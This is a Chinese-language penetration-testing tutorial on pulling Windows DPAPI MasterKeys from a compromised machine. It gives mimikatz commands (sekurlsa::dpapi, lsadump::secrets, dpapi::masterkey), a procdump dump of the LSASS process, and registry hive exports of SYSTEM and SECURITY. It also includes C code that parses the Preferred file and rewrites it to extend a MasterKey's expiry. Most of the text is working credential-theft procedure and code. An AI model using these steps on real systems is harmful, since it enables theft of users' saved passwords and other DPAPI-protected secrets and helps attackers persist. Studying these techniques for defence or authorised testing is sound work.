渗透技巧——获取 Windows 系统下 DPAPI 中的 MasterKey

发布于 2024-09-23 19:09:36 字数 7065 浏览 21 评论 0

0x00 前言

对于 Windows 系统,用户的加密数据大都采用 DPAPI 进行存储,而想要解密这些数据解,必须要获得 DPAPI 对应的 MasterKey。本文将会介绍在获得了 Windows 系统的权限后获得 MasterKey 的方法,同时分析 Preferred 文件格式,延长 MasterKey 的有效期

0x01 简介

本文将要介绍以下内容

  • 基本概念
  • 获得 MasterKey 的方法
  • 解析 Preferred 文件
  • 修改 MasterKey 失效时间

0x02 基本概念

DPAPI:

全称 Data Protection Application Programming Interface

作为 Windows 系统的一个数据保护接口被广泛使用

主要用于保护加密的数据,常见的应用如:

  • EFS 文件加密
  • 存储无线连接密码
  • Windows Credential Manager
  • Internet Explorer
  • Outlook
  • Skype
  • Windows CardSpace
  • Windows Vault
  • Google Chrome

Master Key:

64 字节,用于解密 DPAPI blob,使用用户登录密码、SID 和 16 字节随机数加密后保存在 Master Key file 中

Master Key file:

二进制文件,可使用用户登录密码对其解密,获得 Master Key

分为两种:

  • 用户 Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%
  • 系统 Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Preferred 文件:

位于 Master Key file 的同级目录,显示当前系统正在使用的 MasterKey 及其过期时间,默认 90 天有效期

0x03 获得 MasterKey 的方法

本节主要介绍通过 mimikatz 获得 MasterKey 的方法

1、在线获取

通过读取 Lsass 进程信息,获取当前系统中的 MasterKey,能获得多个 Master Key file 对应的 MasterKey

管理员权限:

privilege::debug
sekurlsa::dpapi

如下图

Alt text

Alt text

2、离线读取

思路一:

使用 procdump dump 出 LSASS 进程内存

管理员权限:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

使用 mimikatz 加载 dmp 文件并获取各个 Master Key file 对应的 MasterKey:

sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

思路二:

参考资料:https://github.com/gentilkiwi/mimikatz/wiki/howto-~-scheduled-tasks-credentials

1、复制注册表文件

管理员权限:

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SECURITY SECURITY.hiv

2、从注册表文件中获得 DPAPI_SYSTEM

mimikatz log "lsadump::secrets /system:SystemBkup.hiv /security:SECURITY.hiv"

如下图

Alt text

DPAPI_SYSTEM 中的 user hash 为 c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3 ,能够用来解密位于 %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User 下的系统 Master Key file

3、解密系统 Master Key file,获得 MasterKey

mimikatz "dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\04ece708-132d-4bf0-a647-e3329269a012 /system:c2872cf6d6d4db31c6c8d33beb49b482e78e7ce3"

解密获得 MasterKey 为 3e9d7f32f2e57933ead318d075efc82325697d87d992b626a20abb5f0ffba6f073d282a837b6fa058ecff36039aa944e04b3dfb666ebace44aad6bff8789ca43

如下图

Alt text

0x04 解析 Preferred 文件

位于 Master Key file 的同级目录,显示当前系统正在使用的 MasterKey file 及其过期时间

格式如下:

typedef struct _tagPreferredMasterKey
{
    GUID guidMasterKey;
    FILETIME ftCreated;
} PREFERREDMASTERKEY, *PPREFERREDMASTERKEY;

例如 C:\Users\b\AppData\Roaming\Microsoft\Protect\S-1-5-21-2884853959-2080156797-250722187-1002\Preferred

如下图

Alt text

前 16 字节 F6 B0 11 A1 D7 B4 C8 40 B5 36 67 2A 82 88 B9 58 对应 guid,调整格式后,对应文件为 a111b0f6-b4d7-40c8-b536-672a8288b958

后 8 字节 D0 08 9F 7D 11 EC D3 01 对应过期时间

对于表示时间的 FILETIME,格式如下:

typedef struct _FILETIME {  
                          DWORD dwLowDateTime;  
                          DWORD dwHighDateTime;  
} FILETIME, *PFILETIME;

想要显示成日常使用的时间格式,需要将 FILETIME 类型转成 SYSTEMTIME 类型

在程序实现上,还需要注意使用 sscanf_s 函数将字符串转换为 DWORD 格式

可供参考的 C 代码如下:

#include <windows.h>

int main(void)  
{  
    FILE *fp;  
    unsigned char buf[24];
    fopen_s(&fp,"Preferred","rb");  
    fread(buf,1,24,fp);
    printf("Data: ");
    for(int i=0;i<24;i++)
    {
        printf("%02x",buf[i]);
    }
    fclose(fp);

    printf("\nguidMasterKey: %02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x\n",buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]);

    char lowDateTime[9],highDateTime[9];
    sprintf_s(lowDateTime,9,"%02X%02X%02X%02X",buf[19],buf[18],buf[17],buf[16]);
    sprintf_s(highDateTime,9,"%02X%02X%02X%02X",buf[23],buf[22],buf[21],buf[20]);

    printf("dwLowDateTime:%s\n",lowDateTime);
    printf("dwHighDateTime:%s\n",highDateTime);

    FILETIME        ftUTC;
    SYSTEMTIME      stUTC2;
    sscanf_s(lowDateTime,"%x",&ftUTC.dwLowDateTime);
    sscanf_s(highDateTime,"%x",&ftUTC.dwHighDateTime);
    FileTimeToSystemTime(&ftUTC, &stUTC2);  
    printf("");
    printf("Expiry time: %d-%d-%d %d:%d:%d\n", stUTC2.wYear, stUTC2.wMonth, stUTC2.wDay, stUTC2.wHour, stUTC2.wMinute, stUTC2.wSecond);  

    return 0;  
}

注:

也可以使用 fread 读取 int 型数据来解决字符串倒序的问题

读取 Preferred 文件,解析出当前系统正在使用的 Master Key file 的 guid 和过期时间

测试如下图

Alt text

0x05 修改 MasterKey 失效时间

修改思路:

输入过期时间,将过期时间转为 FILETIME 格式,替换 Preferred 文件的 FILETIME

可供参考的 c 代码如下:

#include <windows.h>  
int main(void)  
{  
    SYSTEMTIME st={0};
    FILETIME   ft={0};
    printf("[+]Start to change expiry time...\n");    
    st.wYear = 2019;
    st.wMonth = 12;
    st.wDay = 30;
    st.wHour = 12;
    st.wMinute = 30;
    st.wSecond = 30;
    printf("[+]New expiry time:%d-%d-%d %d:%d:%d\n", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
    SystemTimeToFileTime(&st,&ft);
    printf("dwLowDateTime:%08x\n",ft.dwLowDateTime);
    printf("dwHighDateTime:%08x\n",ft.dwHighDateTime);

    FILE *fp;  
    fopen_s(&fp,"Preferred","rb+");  
    fseek(fp,16,SEEK_SET);
    fwrite(&ft.dwLowDateTime,sizeof(int),1,fp);
    fwrite(&ft.dwHighDateTime,sizeof(int),1,fp);
    fclose(fp);
    printf("[+]Change success.\n");
    return 0;  
}

读取 Preferred 文件,将过期时间设置为 2019-12-30 12:30:30

修改后重新读取 Preferred 文件信息,成功修改,如下图

Alt text

0x06 小结

本文总结了在获得了 Windows 系统的权限后获得 MasterKey 的方法,编写程序自动分析 Preferred 文件格式并延长 MasterKey 的有效期。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

蓬勃野心

暂无简介

0 文章
0 评论
22 人气
更多

推荐作者

末蓝

文章 0 评论 0

年少掌心

文章 0 评论 0

党海生

文章 0 评论 0

飞翔的企鹅

文章 0 评论 0

鹿港小镇

文章 0 评论 0

wookoon

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文